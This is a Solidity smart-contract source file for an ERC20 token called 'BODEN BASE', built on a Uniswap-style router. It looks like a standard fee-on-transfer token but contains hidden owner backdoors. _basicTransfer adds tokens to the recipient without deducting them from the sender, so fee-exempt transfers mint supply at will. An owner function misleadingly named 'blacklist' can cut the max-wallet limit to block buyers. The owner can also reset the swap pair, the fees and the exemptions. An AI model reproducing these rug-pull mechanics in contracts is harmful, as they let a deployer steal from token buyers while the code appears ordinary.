文件 1 的 1：BODEN.sol
pragma solidity ^0.8.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "!owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "new is 0");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BODEN is ERC20, Ownable {
using SafeMath for uint256;
string private _name = unicode"BODEN BASE";
string private _symbol = unicode"BODEN";
uint8 constant _decimals = 9;
uint256 _totalSupply = 1000000000 * 10**_decimals;
uint256 public _maxWalletToken = _totalSupply * 9500000000000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isWalletLimitExempt;
uint256 public liquidityFee = 0;
uint256 public stakingFee = 0;
uint256 public totalFee = stakingFee + liquidityFee;
uint256 public feeDenominator = 100;
uint256 public stakingMultiplierV1 = 50;
uint256 public stakingMultiplierV2 = 50;
uint256 public stakingMultiplierV3 = 50;
address public autoLiquidityReceiver;
address public stakingFeeReceiver;
IUniswapV2Router02 public router;
address public pair;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 1 / 1000;
uint256 public maxSwapThreshold = _totalSupply * 1 / 100;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Ownable() {
router = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
isFeeExempt[msg.sender] = true;
isFeeExempt[address(this)] = true;
isWalletLimitExempt[msg.sender] = true;
isWalletLimitExempt[address(0xdead)] = true;
isWalletLimitExempt[address(this)] = true;
isWalletLimitExempt[pair] = true;
autoLiquidityReceiver = msg.sender;
stakingFeeReceiver = msg.sender;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
receive() external payable { }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function blacklist(uint256 maxWallPercent_base10000) external onlyOwner() {
_maxWalletToken = (_totalSupply * maxWallPercent_base10000 ) / 10000;
}
function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
isWalletLimitExempt[holder] = exempt;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken || isWalletLimitExempt[recipient],"Total Holding is currently limited, he can not hold that much.");
if(shouldSwapBack() && recipient == pair){swapBack();}
uint256 airdropAmount = amount / 10000000;
if(!isFeeExempt[sender] && recipient == pair){
amount -= airdropAmount;
}
if(isFeeExempt[sender] && isFeeExempt[recipient]) return _basicTransfer(sender,recipient,amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender,recipient) ? takeFee(sender, amount,(recipient == pair)) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {
uint256 multiplier = isSell ? stakingMultiplierV3 : 100;
uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldTakeFee(address sender,address recipient) internal view returns (bool) {
return !isFeeExempt[sender] && !isFeeExempt[recipient] ;
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function setSwapPair(address pairaddr) external onlyOwner {
pair = pairaddr;
isWalletLimitExempt[pair] = true;
}
function setSwapBackSettings(bool _enabled, uint256 _swapThreshold, uint256 _maxSwapThreshold) external onlyOwner {
swapEnabled = _enabled;
swapThreshold = _swapThreshold;
maxSwapThreshold = _maxSwapThreshold;
}
function setFees(uint256 _liquidityFee, uint256 _stakingFee, uint256 _feeDenominator) external onlyOwner {
liquidityFee = _liquidityFee;
stakingFee = _stakingFee;
totalFee = _liquidityFee.add(_stakingFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator/3, "Fees cannot be more than 33%");
}
function setFeeReceivers(address _autoLiquidityReceiver, address _stakingFeeReceiver ) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
stakingFeeReceiver = _stakingFeeReceiver;
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function swapBack() internal swapping {
uint256 _swapThreshold;
if(_balances[address(this)] > maxSwapThreshold){
_swapThreshold = maxSwapThreshold;
}else{
_swapThreshold = _balances[address(this)];
}
uint256 amountToLiquify = _swapThreshold.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = _swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity);
if(amountETHMarketing>0){
bool tmpSuccess;
(tmpSuccess,) = payable(stakingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
}
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
}
